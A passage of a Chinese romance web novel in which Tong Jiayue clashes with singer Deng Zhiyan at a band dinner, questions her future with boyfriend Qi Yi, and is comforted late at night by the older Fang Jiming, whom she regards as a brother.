“给你送点东西,马上走了。”方霁明递来一些颇有设计感的文创手提袋。
“这是……?”垂眼看到纸袋上印绘的那些文创logo,佟嘉悦已目露欣喜,打开一瞧,是一些难抢的手帐制品。
头顶上的男人低问:“你有没有感冒?”
“没有啦。”佟嘉悦应。
“嗯,那就好。”方霁明见她还在专心致志翻那些手帐制品,唇角微漾,补充说,“本来你外婆寿宴那天就要给你的,忘了。”
“你怎么找到这儿的?”
“问了柴阿姨。”
佟嘉悦的惊喜毋庸置疑。
方霁明每次回来,总会给予她一些小惊喜,并非贵重物品,都是些小东西小玩意,但都是她所需要所喜欢的。
她从小到大有记录的习惯,断断续续,都是话痨的碎碎念,开心的值得纪念的瞬间,不开心的各种狗屁倒灶的事儿,她都封存了三大箱。
小时候写流水账日记,成年了又拾起做手帐的爱好。兴趣爱好之外的功用,能使她工作之余,放空脑袋解压用。
手提袋有一些日产胶带与便签,一本柴田启子的绘本。其他的,佟嘉悦大致翻了翻,没猜错的话应当是在申城的手帐集市买的,限量发售的胶带分装和印章——日产可以海淘,申城也有实体店,但手帐集市,要么托人代购,要么本人到场亲自挑选。
佟嘉悦实在难以想象后者的画面,方霁明费心神去给她这些无足挂齿的小爱好排队采买,这些一定会被大忙人的他视为浪费时间的无聊事。
于是佟嘉悦自动归于了前者,“哥找人代购的?”
方霁明面无波澜,只说:“是不是最近想买的?”
佟嘉悦恍然想起来,前些时候她闲来无事,在小红书随手发了一个关于手帐文创制品,想买待买的汇总购物清单,没多久转了个人所见。
小红书她主动构建自己的信息茧房,只关注自己想看的,譬如手帐相关,旅游美食推荐,几大音乐节的官方账号等,因为不大想变成社交平台,几乎不分享内容,也没有几个互关。
很早的几个互关,都是大学时期创号关注的,有齐轶、室友兼闺蜜何烨……最后便是,她也记不清何时互关上的方霁明。
佟嘉悦笑问:“为什么突然送我这些啊?”
方霁明说:“生日礼物。”
佟嘉悦思忖了半晌,嘀咕,“我生日没到啊。”
“哦!公历!”打开手机垂眼看了眼日历,她方才恍然大悟。
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但她一般只过农历。
“谢谢谢谢哥!”佟嘉悦笑眸明亮,随口玩笑道,“哥你就想找理由给我送礼物吧?”
“对。”方霁明眉梢轻挑,“拿着,少卖乖。”
“我请你吃饭?”佟嘉悦说。
“我倒是很想赴约,”方霁明垂眼看了看腕表,“赶飞机,欠着吧。”
“谁知道你什么时候回来哦?”
“我不介意你来申城请我。”
像霍格沃茨魔法学院里的一句魔法咒语,一道催眠暗号,去申城,去申城,鼓动得她蠢蠢欲动,他好狡猾。
佟嘉悦回过神来,才发现她已脱口而出:“好啊,说不定呢。”
还在上班期间,没再过多寒暄。
方霁明兄长般的口吻叮嘱她换季记得多穿衣,不要生病感冒,便匆匆离开了。
*
齐轶这次在家里待了许久。
十月一晃而过,十一月初,接佟嘉悦下班的一天,他拿出两张LiveHouse票,叫她周六晚上空出时间,去看朋友的演出。
“湖灵来秦城了?”佟嘉悦左右翻看票根,问。
“对,”齐轶顿了顿,特意强调乐队整个一起,又说,“演出完一块儿吃个饭。”
佟嘉悦笑了笑,“我又没多想。”
湖灵的女主唱喜欢齐轶,大家都知道。但齐轶有女朋友,大家也都知道。
“难怪这一次你待挺久。”佟嘉悦若有所思地说。
齐轶忙解释:“不是,我主要是想多陪陪你。”
佟嘉悦想他留下陪自己,但也不想他为此困住自己的步伐,“我知道的,你有自己的事要做。”
“看完这一场,溜了溜了。”齐轶无奈耸肩,“我爸妈天天在家叨叨我,哎,还是距离产生美,离远点儿好。”
齐轶盘算着时间,再次提及:“等你放寒假,我回来接你,去江城玩?”
佟嘉悦稍顿:“再说吧。”
在家里,父母明里暗里频频催婚,齐轶的确也待不住了。
周六一早,佟嘉悦跟柴琳去乡下看望外婆。先去外婆家中看了一圈,柴琳拿钥匙开门,室内空空,她人不在,把买的降压药放在堂屋正中的餐桌上,在菜罩上贴上一张醒目的便利贴,二人便开车直接去了村外的田地菜园。
老太太戴一顶蓑笠草帽,戴袖套穿黑色胶鞋,全副武装,果然在菜园里忙活。
“妈——你就不能闲一会儿吗?”柴琳杵在田垄旁的羊肠小道上,没好气高喊。
老太太腰一叉,大嗓门声如洪钟,回怼:“有人喜欢闲,有人喜欢忙,你管我呢!”
“行行行,”柴琳无奈应和,不忘嘱咐,“降压药给你放饭桌上了,记得每天按时吃药啊。”
瞥见佟嘉悦,老太太这才放下手里的活儿,边走近边笑喊:“嘉悦啊,我听说小齐回来挺多天了,怎么不带过来给我看看?”
佟嘉悦愣了一愣,她居然还记着这事儿呢,不由问:“外婆很想见他吗?”
老太太摆摆手,无可无不可,“我倒是无所谓,我是想着你的心意,你心尖儿上的人,想带给我这个遭老婆子瞧瞧,说明你足够重视她,是不是?”
柴琳也想起这茬,觑了眼佟嘉悦,好似替女儿说话,又好似在点她:“咱们家也不能这么随便,这事得小齐他得自己上心,下次正式一点吧——等他正式上门再说。”
佟嘉悦掀了掀唇,心绪茫惘,她发现自己居然无法点头,应一句是。
8. 08
湖灵乐队这两年的火爆,很大程度得益于女主唱邓之妍的脾气。上乐队综艺,我行我素,不按常理出牌,手撕节目组。全媒体时代需要有活儿,好的坏的都是。流量变现即为王。
齐轶带佟嘉悦赶到LiveHouse的时候,正踩着他们演出最后三十分钟倒计时的尾巴,音乐酒吧里光线冷迷变幻,他们在最后一排站定,混在台下举着手机和自拍杆,或兴奋挥臂的躁动乐迷里。
大抵邓之妍知道齐轶到的时间点,一首曲毕,就在麦克风里笑喊齐轶在不在,上来!让这位本地人给大家介绍一下历史名城秦城!
台下粉丝忙不迭跟着起哄,即便不知道人在哪儿,此起彼伏地高喊齐轶上来。
末排的几个粉丝看到了齐轶,现场逮人,齐轶一直抓着佟嘉悦的腕骨不松手,人群推推搡搡,彼此让出空道,硬是把齐轶和佟嘉悦推挤到了前排。
齐轶无奈耸了耸肩,从一侧楼梯爬上了舞台。
佟嘉悦被迫一个人留在原地。
她抬手按了按渔夫帽,垂目低眉,她今天戴了口罩帽子,依旧遮挡不了乐迷们时不时投来的打量目光——她一直不习惯这样的目光,他们好奇不是她作为佟嘉悦的本身,而是无名无姓的“齐轶女朋友”。
齐轶举起麦克风,客套官方的一套说辞,笑眯眯张口就来,“今天赶到现场的,想必大多都来自本省本地,那这部分人也不需要我多介绍,是吧?外地的朋友们呢,秦城本来就是旅游胜地,找专门的攻略比我靠谱。总之欢迎大家来秦城做客!”
是湖灵乐队的主场,齐轶没有喧宾夺主,上来闲聊几句就下去了。下一首歌的前奏导入,气氛酣热,齐轶静悄悄又回到了佟嘉悦身侧,这一次他们不得不在前排“罚站”,以及面对粉丝们时不时明目张胆的偷拍。
这些情况佟嘉悦已经屡见不鲜,但还是稍显局促。
佟嘉悦都能想象他们回去后发到社交平台上,她和齐轶的照片。
人都有好奇心与窥私欲。热单《嘉嘉》的背后人物长什么样儿?她今天就站在我旁边!齐轶给她写歌,齐轶的缪斯女神,齐轶的女朋友。
齐轶了解佟嘉悦,侧身挡住了她,并适时无奈地提醒对方一句,朋友,专心舞台啊。
再小众的乐队和音乐人,都有一圈核心受众和铁杆粉丝。
齐轶是认真做音乐的人,有不少热门单曲,他不上综艺,在社媒上也很低调,佟嘉悦对他做的大部分音乐都一知半解,只依稀知道,齐轶喜欢且擅长做的音乐风格是英摇。他大学时期组过乐队,因现实因素解散,他有作曲编曲才能,在大学期间也结识了不少圈内人脉,之后他便作为独立音乐人活动,坚持到现在。
演出并未在半小时后正式结束,安可延场,乐队与台下乐迷们拍大合照,再到台下和乐迷私下的闲聊互动、专辑签名,忙完这一切,不知不觉已近十一点。
佟嘉悦一个人先回了车,默默等候的间隙,找能提供包间,可以提前点单的宵夜。
待齐轶和乐队一行人从LiveHouse出来,佟嘉悦已经找好了店,并把菜单发给齐轶,再叫他转发给湖灵乐队。
*
“先说好,我今天不喝酒,待会儿要开车。”
到包厢,大圆餐桌上的碗筷和酒先摆上了,齐轶拉佟嘉悦坐下,见状说了句。
佟嘉悦为了让大家尽可能第一时间吃上东西,收集完各位忌口和爱吃的,已提前点通过电话和老板点好了单。
这家烧烤店与上回和方霁明去过的那一家差不多,也是本地老饕的觅食去处,味道略逊一筹,但胜在服务装潢更好,适合请客聚餐。
很快,服务员进来,端上下酒的凉拌小菜。
乐队四人演了夜间一整场,早饿疯了,掀了啤酒盖,互相哐哐倒酒,到齐轶这里,不停怂恿他喝酒。
“喝点儿呗,轶,佟老师也喝点儿,你又不是小女孩儿,都成年人了,”大大咧咧的乐队鼓手瞎起哄,“咱大不了叫代驾。”
贝斯手帮腔:“对,在对象跟前装什么人五人六,你个千杯不醉,我们谁都干不过你!”
佟嘉悦稍稍蹙了眉,看了眼齐轶,对他说:“你喝吧,回去我开。”
“佟老师,你也喝!”没眼力见的鼓手继续劝酒佟嘉悦。
佟嘉悦微微一笑,婉拒:“我明天还要回学校一趟,临时要搞培训,一身酒气影响不好,给领导印象不好。”
一直沉默喝酒的邓之妍忽地把杯子往桌上重重一放,“你们一群大男的,自己要喝就喝,别强人所难行不行?”
大抵她在队里一直是强势所在,一开怼,余下的三男人瞬即不吭声了。
佟嘉悦抬眸看她。
女人同样不躲不闪地望过来,视线交汇之时,她扯了扯唇,敌意不掩。
佟嘉悦对她的观感很复杂。
邓之妍不遮掩对齐轶的喜欢,明晃晃,让身边所有人都知道,即便知道齐轶有女朋友;她也讨厌佟嘉悦,因为她觉得佟嘉悦不懂齐轶,配不上齐轶,对齐轶的世界一窍不通的佟嘉悦,凭什么得到他所有偏爱?
“你了解齐轶吗?”
在齐轶的某次小型商演会上,邓之妍如迷妹追线下,坐到了第一排,佟嘉悦的身旁。那时候她问了佟嘉悦这样一个问题,由此展开一段颇为荒唐怪异的对话。
女人穷追不舍地问:“你知道齐轶喜欢的歌手或乐队吗?”
佟嘉悦反问:“我为什么要回答你?”
“随便你回不回答,我来告诉你——”
“JohnLennon。”
“歌是?”
“《Imagine》。”
“仅限于此?”
“仅限于此,我不怎么懂音乐。”
邓之妍似乎嗤笑了一声。
佟嘉悦在此停顿,陡然心惊,自己居然跳入了她的思维陷阱,跟着她的逻辑走。反应过来后,觉得莫名其妙又好笑。
佟嘉悦说:“你的潜台词是你比我懂?好奇怪,我为什么要和你比谁更懂齐轶呢?我是他的女朋友,你在我面前说这些话,你是不懂冒昧越界四个字怎么写吗?”
邓之妍愣了稍倾。
佟嘉悦却被激起了棱角,不吐不快。
她静静盯着邓之妍,又说:“术业有专攻,人各有所长,职业也不分高低贵贱,即便你不懂儿童教育,我也不会傲慢地去嘲讽你。”
邓之妍
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哑口无言,缓了良久,她竟然被拆穿,一针见血。于是索性干脆承认,她的确就是带着居高临下的态度,故意来找佟嘉悦不痛快的。
邓之妍冷笑一声:“你挺能说会道啊,多伶牙俐齿一姑娘,逻辑这么清晰,为什么他们会形容你是温吞无害的乖乖女。”
佟嘉悦说:“我是乖乖女,我承认。乖乖女不是贬义词,乖乖女不等同于嘴笨,再者,我不需要他们给我贴的任何标签。”
“烦,不聊了。”邓之妍忽然抛下一句,她烦躁地抓挠一把头发,似有懊恼,又似是抗拒,”我可不想改变讨厌你的想法。”
佟嘉悦微微一笑,“那请你继续保持偏见吧。”
再后来,在一款乐队综艺上看到她。
大荧幕里的她快言快语,易燃易爆炸,自带“腥风血雨”的话题体质,风评两极分化——喜欢她的夸她真性情,讨厌她的骂她低情商。
佟嘉悦谈不上喜欢还是讨厌,要她客观评价的话,她会说,邓之妍的确从不自我伪饰,无论如何,她是一个知行合一,极度自洽的人。
在发生这一场对话,更早之前,她们彼此互不认识的某一次,偷拍佟嘉悦的高糊照片被齐轶粉丝发布网上,评头论足,是邓之妍出言劝删,吐槽粉丝专盯私生活太八卦,怎么不去关注作品?
她由此成为出头鸟,在网络上被好一顿喷,骂她多管闲事。
又在最近,国庆假期一同去蓉城旅游,佟嘉悦定好每天集合的碰头时间,齐轶的那群男性朋友却天天熬夜,打牌打游戏,以至于拖拖拉拉,频频迟到,一次又一次打乱佟嘉悦制定好的旅游计划。
又是邓之妍出头,指着对方鼻子骂:别人熬心费力给你们搜攻略定计划,你们大老爷们天天当甩手掌柜就算了,基本的配合都做不到?
就事论事,佟嘉悦有时候想对她表达感谢,但碍于对方对自己的微妙敌意,由此作罢。
菜陆陆续续上齐,佟嘉悦显然感知到她是格格不入的那一个。
她的在场,让场面颇为局促,这群散漫无拘,江湖气太重的人,喝酒不尽兴,吃得也不尽兴。要无所顾忌地闲扯白些什么,瞥一眼佟嘉悦,欲言又止。
意外接到方霁明电话的瞬间,她仿若遇到救星,扬了扬手机的来电界面,起身笑说:“出去接个电话,你们吃。”
她拉开包厢门,迫不及待地快步离场。
还未走远,憋了许久的齐轶朋友们,打抱不平的话,一叠声地就冒出来:
“靠,吃不消吃不消,你家人民教师还是太正经了,吃个饭横竖不得劲儿。”
“我就说你鞍前马后,给她制造所有浪漫,巡演完就千里迢迢赶回去陪着,累得很跟狗似的,她还不是不领情,还是对你不满意吧?就说你净整些吃力不讨好的事。”
“轶,不是我说你……”
手上的来电显示闪烁不停,佟嘉悦闭眼,倚墙靠了会儿,身后传来不紧不慢的脚步声,以及熟悉女声。
“喏,听到了吧?”
邓之妍指尖燃一只气味淡冽的女士香烟,狭长而聩暗的走廊里,烟雾清缭,猩红点点。她踱步走来,又如上一次那般突兀地发问:
“你们真的合适吗?”
9. 09
邓之妍直言不讳,指责佟嘉悦让齐轶难过。不等佟嘉悦回答,又自顾自下决断,你们不合适。不愧是写歌的人,话讲得好似文学经典里给人物下的判词。
“一个趋于安稳生活的乖乖女,一个自有天地的理想者,你们不合适。他想飞,你偏要拿绳子捆住他,他是飞鸟,不是风筝。”
佟嘉悦歪了歪头,极轻地笑了下,“是我偏要吗?”
邓之妍说:“你在束缚他。”
“是吗?齐轶,你也这么觉得吗?”佟嘉悦弯眼笑问。
透过邓之妍的肩膀,门扉漏出一线光,明与昧的交界处,齐轶沉默地站在那里。
佟嘉悦在笑,笑意不达眼底,扎得齐轶心脏隐隐刺痛。
“邓之妍,你知道你在做什么吗?”齐轶沉着表情出了声。
邓之妍缓缓转过头,“啊”了声,自言自语,“看来我搞砸了。”
她摊了摊手,揿灭香烟,折身回了包厢。
“嘉嘉。”齐轶小心翼翼地轻唤。
掌中的手机震动停了,佟嘉悦埋头看了眼,方霁明的来电中断。看来有必要直面当前,无法找借口做一只鸵鸟了呢。
佟嘉悦深吸一口气,抬步往外走,“来,我们聊聊吧。”
店门口摆着露天桌椅,给客流量多的时候,排队等桌的客人用。佟嘉悦和齐轶相顾无言地坐下。
佟嘉悦开门见山,延续了邓之妍刚才的问题。
“我们还适合在一起吗?”
齐轶心生一霎的慌乱,却不假思索地回:“我们会一直在一起的,嘉嘉。”像在说服对方,又像说服自己。
佟嘉悦平静又问:“那么,齐轶,你想和我结婚吗?”
齐轶掀了掀唇,沉默。
“可以直接告诉我答案的,”佟嘉悦说,“我希望我们能开诚布公地聊一聊。”
“……”齐轶思绪冗杂,乱成一团,他依旧沉默。
邓之妍当头一棒,给二人打下一针生猛的催化剂,将横亘他们之间的那条隐秘的裂缝狠狠撕开,让他们不得不直面那头被他们刻意视而不见、避而不谈的“房间里的大象”。
“好,我先来坦白我的想法吧,”佟嘉悦淡淡笑了笑,将心底的真实想法和盘托出,“其实我也没想好要不要和你步入婚姻,齐轶。”
她顿了顿,补充:“所以不要有压力。”
原本她也以为,他们会一直在一起的。佟嘉悦心道。
齐轶身形一滞,他抬眼,又垂下,她太坦诚,她的剖白让他无处遁形。
甚至他觉得自己可笑又拧巴,他不敢回答,仅是因为他预设了一个佟嘉悦下一句也会催婚的情景,来自父母长辈的压力,已让他疲于应对,于是沉默。
他从未想过她竟然……这个答案却让他更加难受,心乱如麻。
“嘉嘉,我……”
“我们彼此之间,好好想一想这些问题吧。”
他们之间早就存在问题了,到该直面问题,解决问题,而非一味逃避的阶段了。
她和齐轶都有责任。
佟嘉悦起身离开,没再回包厢。
*
电话没打通,方霁明发了微信来,问他风衣外套的下落。
佟嘉悦在便利店,她刚买好关东煮,找了个空位置坐下,这才看到消息。
佟嘉悦回复:在我这里。
那端秒回:还以为你睡着了。
佟嘉悦:没有。
佟嘉悦:要我寄给你吗?
那天穿回去后,佟嘉悦就在隔日把方霁明的风衣拿去了干洗店,洗好后要给他送去,他总说不急,然后这事儿就一直搁置,搁置到双方都忘了。一直到方霁明回了申城,风衣都还挂在她的房间里。
方霁明回了一个意简言赅的“嗯”,紧接着一串地址发过来。
佟嘉悦捧着关东煮杯,正要回复,齐轶的消息进来,问她:嘉嘉你在哪儿?
指腹摩挲手机屏幕,好半晌,她切掉他的聊天界面,点进方霁明的,回了一个“好”。
其实她远没有看上去的那么冷静。
晚饭没吃,五脏庙饿得打架,越想越悲愤,委屈淤在喉头,暗骂了好几遍齐轶大傻b。
她有说过让他回来吗,管他很多吗?催他和自己结婚了吗?
她从来没要求过他一直陪着自己,她哪里束缚他了?
所有平白无故的指责,无论出自谁之口,症结都源于齐轶。
其他人的评价佟嘉悦其实不大在意,她在意的,是齐轶的两次沉默——得知男友并没有同自己坚定携手往前的决心,任谁都难过吧。
明明自己也犹疑,却还是难过。
佟嘉悦狠狠咬一口鱼丸,眼泪毫无征兆地,就滚落下来。
她吸了吸鼻子,拿纸巾囫囵擦干净,心道你好挫哦,佟嘉悦。
方霁明沉寂好一会儿的聊天框,在此刻又亮起。
男人不合时宜地问:你头像是谁?
佟嘉悦的头像从高中起一直是这个,从未换过。
仿若神经某个点被戳到,佟嘉悦委屈更甚,她噼里啪啦打字过去。
佟嘉悦:?
佟嘉悦:不是,你平时也太不关注我了吧
标点符号都没来得及打,发完就意识到自己在迁怒。
佟嘉悦吁出一口气,忙歉然补充:对不起,哥。
书房办公桌前,方霁明敲击键盘的一只手顿了顿,敏锐捕捉到佟嘉悦的情绪有问题。
他太了解佟嘉悦了,她不会向人无缘无故地散发不好情绪。前几天的回去一趟,他又发现她学会了装作若无其事,在人前表演快乐。
佟嘉悦很快又发来:是杀生丸,哥。
方霁明回:我知道。
佟嘉悦:那你明知故问!
方霁明:仅仅知道而已,没看过。
一时无话,佟嘉悦不知道要回些什么,望一眼关东煮,没多想便发去:我去吃饭啦,哥。
本是想以此结束话题,发完,余光瞥见手机上的时间,已过转钟。
佟嘉悦默了默,这蹩脚理由找得,她简直脑袋秀逗,蠢毙了。
果然方霁明旋即问:这么晚还没吃?
方霁明:给你点宵夜?
佟嘉悦忙说:不用,不用。
方霁明:你家地址我又不是不知道。
佟嘉悦叹了口气,坦白:我在外面,哥。
她还在愣神间,方霁明的电话就打进来,佟嘉悦点击接通,对方开口就问:“这么晚还在外面?要不要我去接你?”
佟嘉悄无声息地抬起手背擦干净泪痕,唇角的弧度扬起,用轻快的语气回:“嗯嗯,是的哥,我正在吃啦,不用给我点了,也不用接我啦。”
“在哪?”
“便利店。”
“齐轶呢?”
“……”
佟嘉悦缄然一瞬,随口胡诌,“我一个人,就你知道吧,深夜在便利店吃一杯关东煮,当一回孤
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独的美食家,然后拍张照发网上,营造那种一人食氛围感……”
那端的方霁明安静少顷,懒得拆穿,顺着问:“够吗?”
佟嘉悦默了默:“……”
片刻,她哼哼唧唧,老实交代,“还泡了碗火鸡面,加蟹柳和芝士,还买了一杯无糖乌龙茶。”
方霁明眉梢微扬,“晚上不睡了?”
佟嘉悦:“不睡!”
“可以。”佟嘉悦都能想象他说这话的神情,那种似笑非笑,淡淡颔首,不理解但尊重的表情。
佟嘉悦翁声问:“你为什么突然问起我头像啊?”
方霁明淡声道:“没话找话。”
佟嘉悦默了默,有点无语,“不是,哥,你……”话题找得也太硬了吧!
方霁明虚心请教,“我应该更自然一点?”
“我想起你项目组的员工评价你的一句话,哥,我不知当讲不当讲……”佟嘉悦冒着被打死的风险,也要不吐不快,“你想知道吗?”
方霁明好整以暇,似乎轻笑了下:“我如果说不想,你是不是会被憋死?”
佟嘉悦噎了一下,气得咬牙,“……哥!你就是个超绝人机!”
佟嘉悦刷到过方霁明公司晴雪网络,他项目组里的一个主美回母校开校招宣讲会,会后提问环节,主美让大家畅所欲言,问对于入职晴雪,最吸引你们的点是什么,有女学生胆大包天,举手嘻嘻哈哈地说:贵司的方老板!
主美手上的话筒几欲拿不稳,笑趴在讲台上,他促狭回:可以,晴雪网络欢迎来投,你们将会发掘一款编号f.a.n.g的超绝人机。
主美本意只是小小调侃方霁明在男女关系和感情方面油盐不进,也让话题不往老板的私人生活过度延展,点到为止,然而这段对话被剪成了切片,流传在社区网络,反而一度成了晴雪游戏社区一个让人会心一笑的必cue热梗,一桩逸趣美谈。
“原来,你多少还有关注我。”方霁明忽然轻道。
“哥?”佟嘉悦不明就里,几分怔然。
微波炉“叮”地一声,便利店的兼职小哥高喊火鸡面热好了,佟嘉悦忙去端回,拉丝的芝士裹大块蟹柳,铺陈在色泽诱人的火鸡面上,冒着袅袅热气。
佟嘉悦拆开一次性筷子,嘀咕:“哥你一直那么优秀,太优秀了,谁会关注不到你呀。”
方霁明虽然一直是父母口中“别人家的孩子”,被长辈教导要把哥哥当做榜样的存在,说哥哥学习好,会读书,但佟嘉悦很早就发现他天生脑袋聪明,在学习上游刃有余,并不是读死书的书呆子——他并不死板,相反很会玩,还有一些令人意想不到的宅属性。
方霁明少时就是个冷面话少的游戏宅,可以在家待上一整天打老滚4,不说一句话,现在运行着一家不大不小的游戏公司,生活里全是工作,时常被人戏称科技宅。
无论现实还是网络的游戏,他好像都很会玩,就像家附近台球厅的双八他打得漂亮,《只狼》里的苇名一心也打得厉害。
“是么,”方霁明说,“那现在呢?”
佟嘉悦:“现在?”
“我不介意你再多关注我一些。”方霁明云淡风轻地说,“同样地,我没有不关注你,心情好些了吗?”
佟嘉悦呼吸一轻。
与方霁明通话间,她发现她的坏情绪在无知无觉间,缓缓消弭。
原来他早就发现她情绪不对,所以故意频繁找她讲话,以此来转移她的注意力吗?
10. 10
柴琳好久才把佟嘉悦的电话打通。
大约半小时前,齐轶说自家女儿的电话一直占线,怎么都打不通,于是打到了她那里,那小子装作若无其事的语气打探,嘉嘉回家了没。
嘉悦提前跟家里报备过,今天和他一起去看演出,会很晚回家,他自己居然都不清楚?
柴琳敏锐地察觉出什么,没多问,挂断后立即给佟嘉悦拨电话。
接通的一瞬间,柴琳问和谁通电话,佟嘉悦说方霁明,柴琳放下心,又问在哪,佟嘉悦如实相告,柴琳便催佟嘉悦赶紧回家,大半夜里女孩子家家一个人多危险。
“要不要叫你爸来接你?……老佟,老佟!”柴琳拍了拍床畔鼾声如雷的佟大勇,没醒,扬眉啧一声,继续推搡,一边对电话那端说,“你等会儿,我非得把他弄醒。”
“妈,您别折腾爸了,就让他睡。”佟嘉悦好笑道,“我多大个人了,还唠叨我不要小孩子脾气,你们还不是把我当小孩儿。”
“行啦,我叫个车,马上就回来。”佟嘉悦推开门,走出便利店。
“行吧,”柴琳不留痕迹地话锋一转,问,“你们又怎么了?”
“这是我们两个人之间需要解决的事,妈。”佟嘉悦顿了顿,说,“我希望你们不要打听,给我们一点空间,好吗?”
柴琳套完话,像在替齐轶解释,又说:“他没和我说任何事,只是问你到家没。阿轶听起来有点担心你。”
佟嘉悦神没什么表情地应:“嗯,知道了。”
挂断电话,佟嘉悦戴上耳机,听一些纯音乐,在街上漫无目的地走。
对面一片是写字楼,高楼大厦直戳夜穹,霓虹缀亮钢铁森林,再往前,灯火陡然熄黯,建筑物没入浓夜,诡谲的一线微弱光点,荧荧如雾,时隐时现,就好似蛰伏深夜、默默窥伺人群的大妖。
佟嘉悦脚步微驻,无缘无故地想起了杀生丸。
路上稀稀拉拉的行人高举手机拍照,佟嘉悦方才意识到她思维过于发散,这里没有妖怪,无法邂逅一场都市异闻,只不过是一场小型的无人机秀。
没由来地,她又想起方霁明。
机缘巧合之下,他们曾共住一个屋檐下。她记起和方霁明一些琐碎的生活点滴。
高三那一年,柴琳和佟嘉悦搬进外婆空置的自建房。那是一处老屋,位于距离秦城一中很近的城中村,这里市井繁华,交通便利,住着许多的陪读家长。为了学习方便,柴琳和佟嘉悦搬进这里,也开始了陪读生活。
没多久,回来创业的方霁明也住了进来。
三层小楼,一楼吃饭做饭的公共区域,二楼佟嘉悦和柴琳住,方霁明搬进三楼。他坚持要付租金,外婆和柴琳一口拒绝。
于是方霁明时不时往家里添置小东西,水果食物,生活用品,也主动提出辅导佟嘉悦的功课,他懂分寸,有礼貌,慢慢相处下来,柴琳颇为喜欢他,待他亲如家人。
课业紧的高三,一个平平无奇的一天,18岁生日悄无声息地到来。
爸爸在单位值班,赶不回老屋,早早发了985的大红包给她;外婆背着一篓子瓜蔬,拎着一只活鸡,一大早就从乡下赶到城里,在厨房里现场杀鸡,要炖鸡汤给她大补;母亲特意请假,和外婆一起备菜做饭,张罗一大桌子菜,给她庆生。
佟嘉悦是走读生,中午匆匆赶回家,抽空一起过生日。她也没想要什么时髦的仪式感,一顿美味饭菜,这样已经很幸福满足。
方霁明也从工作室赶了回来。
男人手里拎着蛋糕进门,客厅里空无一人,电视开着,播着一部不知名的纪录片,字正腔圆的女声絮絮,充作背景音。
佟嘉悦在二楼卧室里改完错题本,打算去一楼客厅休息一会儿,下楼的时候,听出纪录片的旁白是她喜欢的配音演员,双眸瞬即一亮。
Surprise!
生日这一天,正巧听到她崇拜的大佬的音频,她雀跃蹦下楼梯,心道今天一定会是幸运的一天!
佟嘉悦擅长模仿人说话,发音,腔调,语气,都能模仿得惟妙惟肖,无师自通。后来追动漫番剧,看电视剧,听广播剧,偶尔打游戏,了解到配音圈,她还曾偷偷下载yy,潜在yy频道里听配音演员们pia戏。
“嘉悦。”方霁明在楼梯口轻轻唤她。
“哥,你怎么大中午的回来了?”佟嘉悦诧然。
方霁明天天早出晚归,这里就是一处他睡觉的地方,他基本泡在工作室里。
“跟我来一下。”方霁明抬步上楼。
两个人去到屋顶阳台,日光煦暖,阳台晾绳上晒着白床单,微风拂过,吹得床单随斑驳光影悠悠晃荡。
就在这里,佟嘉悦收到一份极为特殊的,她的十八岁生日礼物。
“苏媛若老师的亲笔签名?!”佟嘉悦瞠圆了双眸,欣喜若狂,她一把搂住礼品袋,开心得傻笑。
难怪一周前,方霁明问她有没有最想要的东西?
佟嘉悦一下猜到他要给自己准备礼物,没想让他破费,于是并未隐瞒,坦诚相告:其实我最想要一个CV老师的亲笔签名~嘿嘿。
最想要的,哪能这么容易实现呢。
她当时也就随口一说,当做一个为之奋斗的念想,并未想当下就得到。
哪里知道方霁明轻轻松松就给她实现了这个愿望呢。
让佟嘉悦没想到的是,更大惊喜还在后面。
方霁明示意她拿出手机,佟嘉悦点开微信,方霁明转发给她一段语音。
点击播放,居然是苏媛若老师亲自录制的祝福音频,她声音温柔亲切,如风舒惬。
“祝我们的佟嘉悦小朋友十八岁生日快乐呀~听说你是一个配音爱好者,我感到十分荣幸,又有一个年轻人对这个行业感兴趣了呢!十八岁,是一个标志着成年,却还在成长的年纪,你现在处于人生很重要的转折阶段,好好学习呀,佟嘉悦同学~希望你能坚持自己的爱好,也欢迎你以后从事相关职业~”
播放完,方霁明云淡风轻地问:“喜欢吗?”
“喜欢!”佟嘉悦感动得几欲流泪。
“学习上不要太紧绷,不懂的可以来问我。”方霁明眼底蕴了笑意,“生日快乐,嘉悦。”
彼时,佟嘉悦知道他也在很重要的人生阶段,总是不敢多打扰。
佟嘉悦弯起一双笑眸,如清泓细月,她背着手三步做两步,雀跃地蹦
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跶到他面前,那张明媚灵动的脸毫无征兆地靠近,令方霁明瞳孔失焦,心跳倏地漏掉一拍。
“哥,你对我真好!”
佟嘉悦一直把方霁明视如家人,她最亲昵的哥哥。她的哥哥一直对她很好。
以至于她太习惯他的好,当成了理所当然。
为什么会由杀生丸联想到方霁明呢?
佟嘉悦摸出手机,给方霁明发去一行字:哥,你有点像杀生丸。
忽然收到消息的方霁明眉梢一挑:你也没话找话?
佟嘉悦努努嘴:才不是!
佟嘉悦:不知道为什么,刚刚一直在想你
无边旖旎、引人遐想的后半句,使方霁明呼吸轻促,还未来得及细细咀嚼,怔神间,消息已撤回,女人换了一种严谨但干瘪的表达。
佟嘉悦心脏蓦地一跳,她甩了甩头,潜意识发出来的刹那,就意识到不妥,电光石火间撤回,重新输入:刚刚想到杀生丸,然后就又想到哥。
方霁明缄然稍倾:联系是?
佟嘉悦引用刚刚起头的第一句“哥,你有点像杀生丸”,发送:就我觉得很像啊。
方霁明回:我不是白毛,谢谢。
佟嘉悦噎了下:我是说性格啦!
方霁明微顿,反问:在你眼里,我是个什么样的人?
强大,温柔,可靠,和杀生丸一般的性格特质。
虽然外表总是冷淡,给人距离感,但佟嘉悦知道他性格底色里的温柔,外冷内热,细心周到。
没等佟嘉悦回答,那端就又发来:……超绝人机?
这是有多在意这个称号啊,真是,佟嘉悦不由莞尔:才不是人机,咱哥很亚撒西捏。
方霁明淡淡问:“亚撒西”等于“你是个好人”,对么?
佟嘉悦阅番无数,尤其纯爱少女番。本想说看语境,有时候也可能等于“请跟我交往”,她挠挠腮,觉得解释清楚反倒很奇怪,多此一举,索性默认。
方霁明很快又发来,语气生冷:我可不想要你给我发的好人卡。
听着就像有人给他发过好人卡,以至于他格外抗拒,佟嘉悦化身一个极度护短的妹妹,赞美他的彩虹屁张口就来。
她不可置信地回:天啦,谁会给你发好人卡啊?哥你肯定不缺人追,只是你不关注而已好不啦!我哥魅力四射,好不好?
就第一个问句,方霁明默默心道,你啊。
好哥哥,不也是好人卡。
佟嘉悦走到路边的一处公交站,电话响起,一辆计程车驶入眼前。她叫的网约车到了。
佟嘉悦看了眼手机时间,竟然不知不觉快一点钟了。
佟嘉悦心有疚然,看,她果然太心安理得方霁明对她的好了。
她忙发去一个“猫猫盖被道晚安”的表情包。
佟嘉悦:哥,不聊啦,你早些睡!我上车了,马上回家!
